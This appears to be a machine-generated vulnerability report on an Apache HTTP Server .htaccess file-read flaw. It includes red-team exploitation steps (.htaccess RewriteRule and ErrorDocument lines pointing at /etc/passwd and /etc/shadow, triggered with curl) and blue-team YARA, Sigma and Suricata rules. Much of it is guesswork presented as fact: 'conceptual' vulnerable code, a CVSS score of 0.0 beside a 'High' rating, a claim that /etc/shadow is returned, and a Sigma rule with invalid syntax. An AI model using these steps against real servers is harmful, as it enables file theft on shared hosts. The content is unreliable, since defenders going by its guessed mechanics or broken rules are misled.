CVE-2026-24072

Executive Summary

CVE-2026-24072 is a privilege escalation vulnerability in Apache HTTP Server versions 2.4.66 and earlier. The flaw allows local users who can author .htaccess files to read arbitrary files on the system with the privileges of the httpd user. This is a significant security concern in shared hosting environments where multiple users have the ability to create or modify .htaccess files. The vulnerability has been fixed in Apache HTTP Server version 2.4.67.

Supply Chain & Package Security

This vulnerability affects the Apache HTTP Server, a widely used open-source web server. Organizations using Apache in their software supply chain, particularly in shared hosting or multi-tenant environments, are at risk. The httpd user typically has access to configuration files, logs, and potentially other sensitive data. An attacker exploiting this vulnerability could read these files, leading to information disclosure and further compromise.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector provided)

Threat Level: High (Based on the nature of the vulnerability and potential impact)

Rationale:

• Attack Vector (AV): Local (L) – The attacker must have local access to the system to create or modify .htaccess files.
• Attack Complexity (AC): Low (L) – The exploit is straightforward, requiring only the ability to write a .htaccess file.
• Privileges Required (PR): Low (L) – The attacker needs a local user account with the ability to write to a web-accessible directory.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are within the same security authority.
• Confidentiality (C): High (H) – The attacker can read arbitrary files, leading to significant information disclosure.
• Integrity (I): None (N) – The vulnerability does not allow modification of data.
• Availability (A): None (N) – The vulnerability does not affect system availability.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Deep Dive & Mechanics

The vulnerability resides in how Apache HTTP Server processes .htaccess files. These files allow per-directory configuration changes without requiring access to the main server configuration file. In vulnerable versions, certain directives within .htaccess files can be abused to bypass intended access controls and read files outside the web root.

The core issue is an improper handling of file paths or symbolic links within the context of .htaccess directives. An attacker can craft a .htaccess file that uses a directive (e.g., RewriteRule, ErrorDocument, or a custom handler) to read files from arbitrary locations on the filesystem. The httpd user, under which the Apache process runs, has read access to many system files, including configuration files, logs, and potentially other users' data.

The vulnerability is triggered when Apache processes the malicious .htaccess file during a request to the directory where it resides. The server then executes the directive, which reads the specified file and returns its contents to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Apache HTTP Server < 2.4.67):

The vulnerable code likely involves the handling of file paths in directives like RewriteRule or ErrorDocument. For example, a vulnerable implementation might not properly validate or sanitize the target file path, allowing an attacker to use path traversal sequences (e.g., ../../etc/passwd).

// Example vulnerable code (conceptual)
static int handle_rewrite_rule(request_rec *r, rewrite_rule *rule) {
    char *target = rule->target;
    // No validation of target path
    if (ap_exists_target_config(r, target)) {
        // Process the rule
    }
}

Patched Code (Apache HTTP Server 2.4.67):

The patched version introduces validation to ensure that the target file path is within the allowed directory or that symbolic links are properly resolved and checked against the document root.

// Example patched code (conceptual)
static int handle_rewrite_rule(request_rec *r, rewrite_rule *rule) {
    char *target = rule->target;
    // Validate that the target is within the document root
    if (ap_is_path_within_document_root(r, target)) {
        if (ap_exists_target_config(r, target)) {
            // Process the rule
        }
    } else {
        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, "Attempt to access file outside document root: %s", target);
        return HTTP_FORBIDDEN;
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install Apache HTTP Server 2.4.66 on a Linux system (e.g., Ubuntu 22.04).
2. Create a user account with write access to a web-accessible directory (e.g., /var/www/html/userdir).
3. Ensure the AllowOverride directive is set to All for the target directory in the Apache configuration.

Exploitation Steps:

1. As the local user, create a .htaccess file in the web-accessible directory with the following content:

   RewriteEngine On
   RewriteRule ^(.*)$ /etc/passwd [L]
   

2. Access the directory via a web browser or curl:

   curl http://localhost/userdir/
   

3. The server will return the contents of /etc/passwd instead of the directory listing or index file.

Alternative Exploit using ErrorDocument:

1. Create a .htaccess file with:

   ErrorDocument 404 /etc/shadow
   

2. Request a non-existent file in the directory:

   curl http://localhost/userdir/nonexistent.html
   

3. The server will return the contents of /etc/shadow.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual .htaccess files being created or modified, especially those containing RewriteRule, ErrorDocument, or other directives with suspicious paths.
• Look for HTTP requests that result in the disclosure of sensitive files (e.g., /etc/passwd, /etc/shadow, configuration files).
• Use file integrity monitoring (FIM) to detect changes to .htaccess files.

Prevention:

• Upgrade to Apache HTTP Server 2.4.67 or later.
• Restrict the use of AllowOverride to only necessary directives (e.g., AllowOverride None for most directories).
• Use the AllowOverrideList directive to explicitly allow only safe directives.
• Run Apache in a chroot jail or container to limit the impact of file disclosure.
• Implement strict file permissions to prevent unauthorized users from writing to web-accessible directories.

Indicators of Compromise (IOCs)

• File System:
  • Unusual .htaccess files containing RewriteRule, ErrorDocument, or other directives with absolute paths or path traversal sequences.
  • Presence of files like /etc/passwd or /etc/shadow in web server logs or temporary directories.
• Network:
  • HTTP requests to directories with .htaccess files that return unexpected content (e.g., system files).
  • Repeated 404 errors followed by successful responses containing sensitive data.
• Logs:
  • Apache access logs showing requests to directories with .htaccess files and responses containing system file contents.
  • Error logs showing attempts to access files outside the document root (if logging is enabled).

Detection Engineering

YARA Rule

rule Detect_Malicious_htaccess {
    meta:
        description = "Detects malicious .htaccess files attempting to read arbitrary files"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-24072"
    strings:
        $rewrite = /RewriteRule\s+\^\(\.\*\)\$\s+\/[a-zA-Z0-9_\/]+/ nocase
        $error_doc = /ErrorDocument\s+\d{3}\s+\/[a-zA-Z0-9_\/]+/ nocase
        $path_traversal = /\.\.\// nocase
    condition:
        any of ($rewrite, $error_doc) or $path_traversal
}

Sigma Rule

title: Detection of Malicious .htaccess File Creation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the creation or modification of .htaccess files with suspicious content
author: Valters IT
date: 2026/01/01
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2026.24072
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.htaccess'
        Image|endswith: '/vim' or '/nano' or '/echo' or '/cp' or '/mv'
    condition: selection
falsepositives:
    - Legitimate .htaccess file modifications by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-24072 - Potential Apache .htaccess File Read Exploit"; flow:to_server,established; content:"/etc/passwd"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2026-24072 - Potential Apache .htaccess File Read Exploit"; flow:to_server,established; content:"/etc/shadow"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2026-24072 - Potential Apache .htaccess File Read Exploit"; flow:to_server,established; content:"/etc/"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade Apache HTTP Server to version 2.4.67 or later immediately.
2. Restrict .htaccess: Set AllowOverride None in the main Apache configuration for all directories where it is not absolutely necessary.
3. Review .htaccess Files: Audit all existing .htaccess files for suspicious directives.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) to detect and block attempts to read sensitive files.
• Use Security-Enhanced Linux (SELinux) or AppArmor to confine the Apache process.
• Regularly update and patch all software components.
• Conduct periodic security audits and penetration testing.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For further analysis or remediation support, contact your Valters IT representative.

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